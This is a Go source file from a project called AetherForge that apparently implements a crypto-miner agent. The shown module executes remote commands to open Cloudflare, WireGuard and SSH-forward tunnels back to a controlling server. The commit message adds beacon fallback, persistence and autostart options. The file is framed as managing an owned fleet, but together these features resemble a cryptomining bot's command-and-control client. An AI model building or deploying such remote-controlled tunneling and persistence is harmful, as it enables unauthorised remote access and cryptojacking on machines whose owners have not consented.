Files
AetherForge/agent/client/tunnel_commands.go
AetherForge 5fc601b564 feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence
Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
2026-06-04 09:34:33 -07:00

153 lines
3.9 KiB
Go

package client
import (
"encoding/json"
"fmt"
"strings"
"crypto-miner-agent/deploy"
)
// tunnelActions are unified protocol tunneling commands (owned-fleet ops).
var tunnelActions = map[string]bool{
"tunnel_cloudflared": true,
"tunnel_wireguard": true,
"tunnel_ssh_forward": true,
"tunnel_status": true,
"tunnel_stop": true,
"start_tunnel": true, // legacy alias
}
func isTunnelAction(action string) bool {
return tunnelActions[action]
}
func (c *AgentClient) allowTunnelAction(action string) (bool, string) {
switch action {
case "tunnel_status", "tunnel_wireguard":
return true, ""
default:
if !c.cfg.RemoteAggressive {
return false, "remote aggressive ops not enabled in forge (Advanced → Remote Aggressive Ops)"
}
}
return true, ""
}
func (c *AgentClient) handleTunnelCommand(action string, command, path, data string) bool {
if !isTunnelAction(action) {
return false
}
ok, reason := c.allowTunnelAction(action)
if !ok {
c.sendCommandResult(action, false, reason)
return true
}
switch action {
case "tunnel_cloudflared", "start_tunnel":
serverURL := strings.TrimSpace(command)
if serverURL == "" {
serverURL = strings.TrimSpace(path)
}
if serverURL == "" {
serverURL = c.cfg.ServerURL
}
msg, err := deploy.StartCloudflaredTunnel(serverURL)
if err != nil {
c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
return true
}
c.sendCommandResult(action, true, msg)
return true
case "tunnel_wireguard":
var payload WGConfigPayload
raw := strings.TrimSpace(data)
if raw == "" {
raw = strings.TrimSpace(command)
}
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
return true
}
go func() {
if err := WGConfigure(payload); err != nil {
c.sendCommandResult(action, false, err.Error())
return
}
c.sendCommandResult(action, true, "WireGuard tunnel started")
}()
return true
case "tunnel_ssh_forward":
var meta deploy.SSHForwardMeta
raw := strings.TrimSpace(data)
if raw == "" {
raw = strings.TrimSpace(command)
}
if err := json.Unmarshal([]byte(raw), &meta); err != nil {
meta.LocalPort = parsePortArg(command, 0)
hostPort := strings.TrimSpace(path)
if idx := strings.LastIndex(hostPort, ":"); idx > 0 {
meta.RemoteHost = hostPort[:idx]
meta.RemotePort = parsePortArg(hostPort[idx+1:], 0)
}
meta.SSHUser = strings.TrimSpace(data)
}
msg, err := deploy.StartSSHForward(meta)
if err != nil {
c.sendCommandResult(action, false, err.Error())
return true
}
c.sendCommandResult(action, true, msg)
return true
case "tunnel_status":
raw := deploy.TunnelStatus()
var st deploy.TunnelStatusJSON
_ = json.Unmarshal([]byte(raw), &st)
st.WireGuardActive = WGIsActive()
if st.WireGuardActive {
st.WireGuardDetail = WGStatus()
}
out, _ := json.Marshal(st)
c.sendCommandResult(action, true, string(out))
return true
case "tunnel_stop":
kind := strings.TrimSpace(strings.ToLower(command))
var stopped int
var msgs []string
switch kind {
case "", "all":
stopped, msgs = deploy.StopTunnels()
if WGIsActive() {
WGTeardown()
msgs = append(msgs, "WireGuard tunnel removed")
stopped++
}
case "cloudflared", "cf":
stopped, msgs = deploy.StopTunnels(deploy.TunnelCloudflared)
case "ssh", "ssh_forward":
stopped, msgs = deploy.StopTunnels(deploy.TunnelSSHForward)
case "wireguard", "wg":
if WGIsActive() {
WGTeardown()
msgs = append(msgs, "WireGuard tunnel removed")
stopped = 1
} else {
msgs = append(msgs, "no active WireGuard tunnel")
}
default:
c.sendCommandResult(action, false, "unknown kind — use all, cloudflared, ssh, or wireguard")
return true
}
c.sendCommandResult(action, true, fmt.Sprintf("stopped %d tunnel(s)\n%s", stopped, strings.Join(msgs, "\n")))
return true
}
return false
}